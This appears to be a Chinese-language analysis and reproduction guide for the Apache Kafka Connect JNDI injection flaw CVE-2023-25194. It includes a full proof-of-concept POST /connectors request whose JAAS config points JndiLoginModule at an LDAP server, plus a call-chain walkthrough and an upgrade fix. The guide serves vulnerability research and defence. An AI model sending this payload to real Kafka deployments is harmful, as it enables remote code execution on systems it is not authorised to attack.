Kafka JNDI注入漏洞分析
字数 1420 2025-08-24 10:10:13
Apache Kafka JNDI注入漏洞(CVE-2023-25194)分析与复现指南
0x00 漏洞概述
Apache Kafka是一个分布式流处理平台,用于构建实时数据管道和流应用程序。CVE-2023-25194是一个JNDI注入漏洞,影响版本为2.4.0 <= Apache Kafka <= 3.3.2。
该漏洞允许攻击者通过构造特定的JNDI配置,在Kafka Connect服务中执行任意代码,可能导致远程代码执行(RCE)。
0x01 漏洞复现
环境准备
- 下载受影响版本的Kafka
- 准备Java开发环境(JDK 8+)
- 准备LDAP服务器用于JNDI注入测试
启动Kafka服务
./bin/zookeeper-server-start.sh ./config/zookeeper.properties
./bin/kafka-server-start.sh ./config/server.properties
./bin/connect-standalone.sh ./config/connect-standalone.properties ./config/connect-file-source.properties ./config/connect-file-sink.properties
验证服务
访问http://127.0.0.1:8083/connector-plugins,确认服务正常运行并返回可用插件列表。
漏洞利用POC
发送以下HTTP请求触发漏洞:
POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 811
{
"name": "debezium-test-50174",
"config": {
"connector.class": "io.debezium.connector.mysql.MySqlConnector",
"database.hostname": "127.0.0.1",
"database.port": "3306",
"database.user": "root",
"database.password": "Admin@123",
"database.server.id": "316545017",
"database.server.name": "test1",
"database.history.kafka.bootstrap.servers": "127.0.0.1:9092",
"database.history.kafka.topic": "quickstart-events",
"database.history.producer.security.protocol": "SASL_SSL",
"database.history.producer.sasl.mechanism": "PLAIN",
"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://127.0.0.1:1389/xmzgie\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
}
}
关键点:
database.history.producer.sasl.jaas.config参数包含恶意JNDI注入user.provider.url指向攻击者控制的LDAP服务器
0x02 调试环境配置
启用Kafka调试模式
- 修改
bin/kafka-run-class.sh文件 - 在文件开头添加:
export KAFKA_DEBUG=2 - 启动服务后会监听5005端口
IDEA远程调试配置
- 创建空项目
- 导入Kafka的libs目录下所有JAR包
- 配置Remote JVM Debug,连接到5005端口
0x03 漏洞分析
调用链分析
-
HTTP请求入口:
ConnectorsResource#createConnector处理HTTP请求- 创建新线程处理连接器初始化
-
连接器初始化:
- 创建
io.debezium.connector.mysql.MySqlConnector实例 - 调用
BaseSourceTask#start方法
- 创建
-
数据库历史记录初始化:
MySqlConnector#start→MySqlDatabaseSchema构造方法- 调用父类
HistorizedRelationalDatabaseSchema构造方法 - 调用
KafkaDatabaseHistory#start
-
Kafka生产者创建:
KafkaDatabaseHistory#start中创建KafkaProducer- 进入
KafkaProducer构造方法
-
安全配置处理:
ClientUtils.createChannelBuilder处理安全配置ChannelBuilders.clientChannelBuilder创建通道构建器- 调用
LoginManager.acquireLoginManager初始化登录管理器
-
JNDI注入触发点:
LoginManager构造函数调用login.login()- 进入
JndiLoginModule#login方法 - 最终在
JndiLoginModule#attemptAuthentication触发JNDI注入
关键代码片段
// JndiLoginModule.java
public boolean login() throws LoginException {
attemptAuthentication(false); // 漏洞触发点
return true;
}
private void attemptAuthentication(boolean ignorePassword) throws LoginException {
// 从配置中获取user.provider.url
String providerUrl = options.get("user.provider.url");
// 执行JNDI查找
DirContext ctx = new InitialDirContext(env);
// ...
}
0x04 漏洞修复
升级到Apache Kafka 3.3.3或更高版本,该版本修复了JNDI注入漏洞。